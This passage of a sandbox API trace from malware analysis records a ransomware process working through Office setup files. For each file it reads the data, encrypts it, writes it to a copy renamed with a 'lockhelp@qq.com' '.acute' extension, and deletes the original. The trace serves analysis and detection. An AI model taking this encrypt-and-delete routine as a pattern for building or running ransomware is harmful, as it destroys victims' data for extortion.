lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x6931, lpOverlapped=0x0) returned 1 [0052.971] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x6940, dwBufLen=0x6940 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x6940) returned 1 [0052.971] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x6940, lpOverlapped=0x0) returned 1 [0052.973] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0052.973] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.973] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0052.973] CryptDestroyKey (hKey=0x5932e0) returned 1 [0052.973] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0052.973] CryptDestroyKey (hKey=0x593260) returned 1 [0052.974] CloseHandle (hObject=0x174) returned 1 [0052.974] CloseHandle (hObject=0x194) returned 1 [0052.974] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0052.975] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.976] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=27195) returned 1 [0052.976] CloseHandle (hObject=0x194) returned 1 [0052.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0052.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0052.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.977] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.977] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0052.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.977] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0052.977] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.977] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x6a3b, lpOverlapped=0x0) returned 1 [0052.979] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x6a40) returned 1 [0052.979] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x6a40, lpOverlapped=0x0) returned 1 [0052.980] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0052.980] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0052.980] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0052.980] CryptDestroyKey (hKey=0x5932e0) returned 1 [0052.980] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0052.981] CryptDestroyKey (hKey=0x593260) returned 1 [0052.981] CloseHandle (hObject=0x194) returned 1 [0052.981] CloseHandle (hObject=0x174) returned 1 [0052.981] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0052.983] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0052.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.172] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=67190) returned 1 [0053.172] CloseHandle (hObject=0x194) returned 1 [0053.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0053.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.173] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.173] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.173] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0053.173] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.173] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x10676, lpOverlapped=0x0) returned 1 [0053.220] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10680, dwBufLen=0x10680 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10680) returned 1 [0053.221] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x10680, lpOverlapped=0x0) returned 1 [0053.228] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0053.228] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.228] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.228] CryptDestroyKey (hKey=0x593220) returned 1 [0053.228] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.228] CryptDestroyKey (hKey=0x593260) returned 1 [0053.228] CloseHandle (hObject=0x194) returned 1 [0053.228] CloseHandle (hObject=0x178) returned 1 [0053.229] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0053.231] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.231] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=3186) returned 1 [0053.231] CloseHandle (hObject=0x178) returned 1 [0053.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0053.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.232] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.232] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.238] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0053.238] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.238] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0xc72, lpOverlapped=0x0) returned 1 [0053.243] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xc80, dwBufLen=0xc80 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xc80) returned 1 [0053.244] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xc80, lpOverlapped=0x0) returned 1 [0053.245] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0053.245] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.245] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.245] CryptDestroyKey (hKey=0x593220) returned 1 [0053.245] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.245] CryptDestroyKey (hKey=0x593260) returned 1 [0053.245] CloseHandle (hObject=0x178) returned 1 [0053.245] CloseHandle (hObject=0x194) returned 1 [0053.246] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0053.247] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.247] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=4207) returned 1 [0053.248] CloseHandle (hObject=0x194) returned 1 [0053.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0053.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.248] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.248] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.248] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0053.248] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.248] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x106f, lpOverlapped=0x0) returned 1 [0053.250] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x1070, dwBufLen=0x1070 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x1070) returned 1 [0053.250] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x1070, lpOverlapped=0x0) returned 1 [0053.251] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0053.251] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.251] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.251] CryptDestroyKey (hKey=0x593220) returned 1 [0053.251] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.251] CryptDestroyKey (hKey=0x593260) returned 1 [0053.251] CloseHandle (hObject=0x194) returned 1 [0053.251] CloseHandle (hObject=0x178) returned 1 [0053.252] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0053.254] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.254] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1450) returned 1 [0053.254] CloseHandle (hObject=0x178) returned 1 [0053.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0053.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.254] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.254] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.256] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0053.256] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.256] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x5aa, lpOverlapped=0x0) returned 1 [0053.258] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5b0) returned 1 [0053.258] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x5b0, lpOverlapped=0x0) returned 1 [0053.259] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0053.259] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.259] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50) returned 1 [0053.259] CryptDestroyKey (hKey=0x593220) returned 1 [0053.259] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x102, lpOverlapped=0x0) returned 1 [0053.259] CryptDestroyKey (hKey=0x593260) returned 1 [0053.259] CloseHandle (hObject=0x178) returned 1 [0053.259] CloseHandle (hObject=0x194) returned 1 [0053.260] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 